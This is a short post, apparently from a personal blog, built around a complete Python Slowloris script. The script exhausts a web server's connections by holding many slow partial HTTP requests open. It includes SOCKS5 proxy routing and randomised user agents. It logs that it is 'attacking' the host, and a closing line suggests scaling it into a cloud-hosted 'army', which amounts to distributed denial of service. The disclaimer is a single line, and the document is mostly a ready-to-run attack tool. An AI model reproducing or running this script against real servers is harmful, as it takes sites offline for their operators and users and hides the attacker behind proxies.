Yet another Slowloris implementation as a tiny script. Maybe a rewrite in GO could be interesting in the near future.
Anyways some words and disclaimer: If you’re using it to cause any harm out there in the wild -> you’re a dick and responsible for your own actions and now here we go:
#!/usr/bin/env python3
import argparse
import logging
import random
import socket
import sys
import time
parser = argparse.ArgumentParser(
description="Slowloris - Test your WebSite/Server with the rush of slowness"
)
parser.add_argument("host", nargs="?", help="Host to perform stress test on")
parser.add_argument(
"-p", "--port", default=80, help="Port of webserver, usually 80 or 443", type=int
)
parser.add_argument(
"-s",
"--sockets",
default=150,
help="Number of sockets to use in the test",
type=int,
)
parser.add_argument(
"-v",
"--verbose",
dest="verbose",
action="store_true",
help="Increases logging but slows out everything",
)
parser.add_argument(
"-ua",
"--randuseragents",
dest="randuseragent",
action="store_true",
help="Randomizes user-agents with each request",
)
parser.add_argument(
"-x",
"--useproxy",
dest="useproxy",
action="store_true",
help="Use a SOCKS5 proxy for connecting",
)
parser.add_argument(
"--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host"
)
parser.add_argument(
"--proxy-port", default="8080", help="SOCKS5 proxy port", type=int
)
parser.add_argument(
"--https",
dest="https",
action="store_true",
help="Use HTTPS for the requests",
)
parser.add_argument(
"--sleeptime",
dest="sleeptime",
default=15,
type=int,
help="Time to sleep between each header sent",
)
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args()
if len(sys.argv) <= 1:
parser.print_help()
sys.exit(1)
if not args.host:
print("[!] Host required!")
parser.print_help()
sys.exit(1)
if args.useproxy:
try:
import socks
socks.setdefaultproxy(
socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
)
socket.socket = socks.socksocket
logging.info("[+] Using SOCKS5 proxy for connecting...")
except ImportError:
logging.error("[!] ImportError - Socks Proxy Library Not Available!")
if args.verbose:
logging.basicConfig(
format="[%(asctime)s] %(message)s",
datefmt="%d-%m-%Y %H:%M:%S",
level=logging.DEBUG,
)
else:
logging.basicConfig(
format="[%(asctime)s] %(message)s",
datefmt="%d-%m-%Y %H:%M:%S",
level=logging.INFO,
)
def send_line(self, line):
line = f"{line}\r\n"
self.send(line.encode("utf-8"))
def send_header(self, name, value):
self.send_line(f"{name}: {value}")
if args.https:
logging.info("[!] Importing and using SSL")
import ssl
setattr(ssl.SSLSocket, "send_line", send_line)
setattr(ssl.SSLSocket, "send_header", send_header)
# Generate Useragent on the fly in the next iteration
list_of_sockets = []
user_agents = [
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]
setattr(socket.socket, "send_line", send_line)
setattr(socket.socket, "send_header", send_header)
def init_socket(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
if args.https:
ctx = ssl.create_default_context()
s = ctx.wrap_socket(s, server_hostname=args.host)
s.connect((ip, args.port))
s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1")
ua = user_agents[0]
if args.randuseragent:
ua = random.choice(user_agents)
s.send_header("User-Agent", ua)
s.send_header("Accept-language", "en-US,en,q=0.5")
return s
def main():
ip = args.host
socket_count = args.sockets
logging.info("/!\ Attacking -> %s with %s sockets", ip, socket_count)
logging.info("[-] Creating sockets ... behold")
for _ in range(socket_count):
try:
logging.debug("[-] Creating socket nr %s", _)
s = init_socket(ip)
except socket.error as e:
logging.debug(e)
break
list_of_sockets.append(s)
while True:
try:
logging.info(
"[+] Sending keep-alive headers - Socket count: %s",
len(list_of_sockets),
)
for s in list(list_of_sockets):
try:
s.send_header("X-a", random.randint(1, 5000))
except socket.error:
list_of_sockets.remove(s)
for _ in range(socket_count - len(list_of_sockets)):
logging.debug("[-] Recreating socket...")
try:
s = init_socket(ip)
if s:
list_of_sockets.append(s)
except socket.error as e:
logging.debug(e)
break
logging.debug("[-] Sleeping for %d seconds", args.sleeptime)
time.sleep(args.sleeptime)
except (KeyboardInterrupt, SystemExit):
logging.info("[+] Stopping the Slowloris")
break
if __name__ == "__main__":
main()
Still here? Good - we could stuff this script in a docker container/Digital Ocean Droplet/Lambda and spin it up in a big army of old men, searching for coins at the cash desk